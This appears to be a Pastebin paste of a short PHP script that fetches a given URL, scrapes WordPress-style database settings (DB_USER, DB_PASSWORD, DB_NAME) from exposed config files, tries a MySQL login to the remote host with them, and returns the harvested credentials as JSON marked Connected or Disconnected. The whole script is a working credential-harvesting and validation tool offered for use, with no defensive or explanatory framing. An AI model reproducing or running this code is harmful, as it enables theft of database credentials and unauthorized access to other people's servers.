Advertisement
Guest User

Source

a guest
Jan 15th, 2018
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.30 KB | None | 0 0
  1. <?php
  2. header('Content-Type: application/json;charset=utf-8');
  3. if($_GET['url']){
  4.     $source = file_get_contents($_GET['url']);
  5.     if(eregi('DB_USER', $source)){
  6.         $username = spliter("DB_USER', '","'",$source);
  7.         $password = spliter("DB_PASSWORD', '","'",$source);
  8.         $name = spliter("DB_NAME', '","'",$source);
  9.         if(check(spliter('http://','/',$_GET['url']),$username,$password) == '1'){
  10.             echo '{"host":"'.htmlspecialchars(spliter('http://','/',$_GET['url'])).'","username":"'.htmlspecialchars($username).'","password":"'.htmlspecialchars($password).'","name":"'.htmlspecialchars($name).'","status":"Connected"}';
  11.         }else{
  12.             echo '{"host":"'.htmlspecialchars(spliter('http://','/',$_GET['url'])).'","username":"'.htmlspecialchars($username).'","password":"'.htmlspecialchars($password).'","name":"'.htmlspecialchars($name).'","status":"Disconnected"}';
  13.         }
  14.     }else{
  15.         echo '{"msg":"Failed Regex Config :(","url":"'.htmlspecialchars($_GET['url']).'"}';
  16.     }
  17. }else{
  18.     echo '{"msg":"I Love You Suliman"}';
  19. }
  20. ############
  21. function check($host,$user,$pass){
  22.     $conn = mysqli_connect($host,$user,$pass);
  23.     if (!$conn) {
  24.         return '0';
  25.     }
  26.     return '1';
  27. }
  28. function spliter($start,$end,$output){
  29.     $st4rt = explode($start , $output );
  30.     $end3 = explode($end , $st4rt[1] );
  31.     $return = $end3[0];
  32.     return $return;
  33. }
  34. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement